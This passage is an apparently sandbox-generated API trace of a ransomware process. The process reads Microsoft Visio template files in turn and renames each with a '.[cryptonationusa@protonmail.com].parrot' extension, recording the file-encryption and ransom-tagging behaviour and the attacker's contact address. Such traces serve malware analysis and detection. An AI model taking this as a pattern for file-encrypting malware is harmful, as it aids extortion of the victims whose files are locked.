lpNewFilePointer=0xffffffff) returned 1 [0221.490] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.491] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.492] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x35800, lpOverlapped=0x0) returned 1 [0221.503] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MAP3D_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\map3d_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MAP3D_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\map3d_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.517] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.517] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.518] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.519] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8e00, lpOverlapped=0x0) returned 1 [0221.525] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MAP3D_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\map3d_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MAP3D_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\map3d_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.534] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.534] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.537] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.537] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x34c00, lpOverlapped=0x0) returned 1 [0221.544] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MAP3D_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\map3d_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MAP3D_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\map3d_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.557] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.557] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.558] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.559] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8e00, lpOverlapped=0x0) returned 1 [0221.565] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MAP3D_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\map3d_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MAP3D_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\map3d_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.573] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.573] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.574] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.575] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe600, lpOverlapped=0x0) returned 1 [0221.576] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.578] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MAP_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\map_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MAP_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\map_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.584] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.584] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.586] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.586] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe200, lpOverlapped=0x0) returned 1 [0221.587] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.588] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MAP_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\map_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MAP_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\map_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.626] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.626] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.627] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.627] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd000, lpOverlapped=0x0) returned 1 [0221.629] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MEALL_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\meall_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MEALL_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\meall_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.636] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.636] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.638] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.638] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd000, lpOverlapped=0x0) returned 1 [0221.639] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MEALL_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\meall_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MEALL_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\meall_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.647] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.647] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.648] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.648] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14600, lpOverlapped=0x0) returned 1 [0221.650] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MEMOBJ_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\memobj_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MEMOBJ_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\memobj_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.660] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.660] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.673] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.674] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14000, lpOverlapped=0x0) returned 1 [0221.692] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MEMOBJ_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\memobj_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MEMOBJ_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\memobj_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.704] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.704] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.706] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.706] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9a00, lpOverlapped=0x0) returned 1 [0221.708] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\METRO_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\metro_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\METRO_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\metro_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.716] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.716] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.718] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.718] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9600, lpOverlapped=0x0) returned 1 [0221.719] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\METRO_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\metro_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\METRO_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\metro_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.726] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.726] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.728] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.728] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x60e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x60e00, lpOverlapped=0x0) returned 1 [0221.743] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MRKTDG_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\mrktdg_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MRKTDG_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\mrktdg_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0221.771] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0221.771] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0221.773] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.773] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7a00, lpOverlapped=0x0) returned 1 [0221.779] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MRKTDG_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\mrktdg_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MRKTDG_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\mrktdg_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.116] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.116] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.186] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.186] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5c000, lpOverlapped=0x0) returned 1 [0222.197] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.208] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MRKTDG_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\mrktdg_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MRKTDG_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\mrktdg_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.280] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.280] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.282] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.282] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7a00, lpOverlapped=0x0) returned 1 [0222.293] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.295] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MRKTDG_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\mrktdg_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\MRKTDG_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\mrktdg_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.302] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.302] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.303] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.304] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ec00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2ec00, lpOverlapped=0x0) returned 1 [0222.310] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.314] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETLOC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netloc_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETLOC_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netloc_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.327] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.327] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.329] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.329] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2dc00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2dc00, lpOverlapped=0x0) returned 1 [0222.338] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETLOC_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netloc_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\NETLOC_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\netloc_u.vss.[cryptonationusa@protonmail.com].parrot"), 